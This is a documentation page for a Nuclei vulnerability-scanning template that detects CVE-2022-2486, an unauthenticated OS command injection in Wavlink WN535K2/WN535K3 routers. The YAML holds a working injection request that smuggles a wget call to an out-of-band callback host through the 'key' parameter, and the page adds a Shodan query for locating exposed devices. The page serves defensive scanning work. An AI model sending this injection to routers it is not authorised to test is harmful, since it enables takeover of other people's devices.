Skip to content
Nuclei Templates

Wavlink WN535K2/WN535K3 - OS Command Injection

ID: CVE-2022-2486

Severity: critical

Author: For3stCo1d

Tags: cve2022,cve,iot,wavlink,router,rce,oast

Description

Section titled “Description”

Wavlink WN535K2 and WN535K3 routers are susceptible to OS command injection in an unknown part of the file /cgi-bin/mesh.cgi?page=upgrade via manipulation of the argument key. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.

YAML Source

Section titled “YAML Source”
id: CVE-2022-2486


info:
  name: Wavlink WN535K2/WN535K3 - OS Command Injection
  author: For3stCo1d
  severity: critical
  description: |
    Wavlink WN535K2 and WN535K3 routers are susceptible to OS command injection in an unknown part of the file /cgi-bin/mesh.cgi?page=upgrade via manipulation of the argument key. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire network.
  remediation: |
    Apply the latest firmware update provided by the vendor to mitigate this vulnerability.
  reference:
    - https://github.com/1angx/webray.com.cn/blob/main/Wavlink/Wavlink%20mesh.cgi.md
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-2486
    - https://vuldb.com/?id.204537
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2486
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-2486
    cwe-id: CWE-78
    epss-score: 0.97331
    epss-percentile: 0.99885
    cpe: cpe:2.3:h:wavlink:wl-wn535k2:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wavlink
    product: wl-wn535k2
    shodan-query: http.title:"Wi-Fi APP Login"
  tags: cve2022,cve,iot,wavlink,router,rce,oast


http:
  - raw:
      - |
        GET /cgi-bin/mesh.cgi?page=upgrade&key=;%27wget+http://{{interactsh-url}};%27 HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"


      - type: status
        status:
          - 500
# digest: 4b0a00483046022100f92a6b079ac99de596f3526dbc3cfff7b518ef4bcc21513fffd3a447bca428db022100b07fa59c0c9f846c90b9ee47a1903c3c6d928999cb0334309461f13683c7a861:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-2486.yaml"

View on Github